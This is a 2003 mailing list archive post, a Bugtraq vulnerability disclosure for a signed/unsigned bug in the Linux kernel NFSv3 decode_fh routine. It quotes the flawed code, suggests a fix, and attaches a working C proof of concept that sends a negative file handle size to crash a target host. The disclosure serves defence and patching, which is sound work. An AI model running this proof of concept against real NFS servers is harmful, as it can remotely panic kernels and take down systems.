lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <Pine.GSO.4.44.0307291734160.2559-200000@gere.odin.pdx.edu>
From: jareds at pdx.edu (Jared Stanbrough)
Subject: Remote Linux Kernel < 2.4.21 DoS in XDR routine. (fwd)



---------- Forwarded message ----------
Date: Tue, 29 Jul 2003 12:55:34 -0700 (PDT)
From: Jared Stanbrough <jareds@....edu>
To: bugtraq@...urityfocus.com
Subject: Remote Linux Kernel < 2.4.21 DoS in XDR routine.


Hello all,

I have discovered a signed/unsigned issue in a routine responsible for
demarshalling XDR data for NFSv3 procedure calls. As far as I can tell,
this bug has existed since NFSv3 support was integrated. It has been
silently fixed in 2.4.21.

The bug is in the decode_fh routine of fs/nfsd/nfs3xdr.c under the kernel
source tree.

Vulnerable code:

static inline u32 *
decode_fh(u32 *p, struct svc_fh *fhp)
{
        int size;
        fh_init(fhp, NFS3_FHSIZE);
        size = ntohl(*p++);
        if (size > NFS3_FHSIZE)
                return NULL;

        memcpy(&fhp->fh_handle.fh_base, p, size);
        fhp->fh_handle.fh_size = size;
        return p + XDR_QUADLEN(size);
}

Where p is a packet of attacker controlled XDR data. If size is made to be
negative, the sanity check is passed and the malicious value is passed to
memcpy. Due to the behavior of the kernel's memcpy, this will cause a very
large copy in kernel space, resulting in an instant kernel panic.

The attached code is a POC of this vulnerability. It requires that the
vulnerable host has an exported directory available to the attacker. This
is probably not the only way to manifest this bug, however.

If you have any questions, please feel free to contact me.

Cheers,

Jared Stanbrough <jareds@....edu>
-------------- next part --------------
/*
  Linux 2.4.x knfsd kernel signed/unsigned decode_fh DoS
  Author: jared stanbrough <jareds@....edu> 
  Date: 07/19/2003
  
  Vulnerable code: (fs/nfsd/nfs3xdr.c line 52-64)

  static inline u32 *
  decode_fh(u32 *p, struct svc_fh *fhp)
  {
        int size;
        fh_init(fhp, NFS3_FHSIZE);
        size = ntohl(*p++);
        if (size > NFS3_FHSIZE)
                return NULL;   

        memcpy(&fhp->fh_handle.fh_base, p, size);
        fhp->fh_handle.fh_size = size;
        return p + XDR_QUADLEN(size);
  }

  This code is called by quite a few XDR decoding routines. The below
  POC demonstrates the vulnerability by encoding a malicious fhsize
  at the beginning of a diroparg xdr argument. 
 
  To test this, the vulnerable host must have an accessible exported
  directory which was previously mounted by the attacker. _HOWEVER_ 
  it may be possible to trigger this bug by some other method.

  Fix: Simply change size to an unsigned int, or check for size < 0.
*/

#include <rpcsvc/nfs_prot.h>
#include <rpc/rpc.h>
#include <rpc/xdr.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>

#define NFSPROG 100003
#define NFSVERS 3
#define NFSPROC_GETATTR 1

static struct diropargs heh;

bool_t xdr_heh(XDR *xdrs, diropargs *heh) 
{
  int32_t werd = -1; 
  return xdr_int32_t(xdrs, &werd);
}

int main(void)
{
  CLIENT * client;
  struct timeval tv;

  client = clnt_create("marduk", NFSPROG, NFSVERS, "udp");
  
  if(client == NULL) {
      perror("clnt_create\n");
  }

  tv.tv_sec = 3;
  tv.tv_usec = 0;
  client->cl_auth = authunix_create_default();

  clnt_call(client, NFSPROC_GETATTR, (xdrproc_t) xdr_heh, (char *)&heh,
            (xdrproc_t) xdr_void, NULL, tv);

  return 0;
}
  
 

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ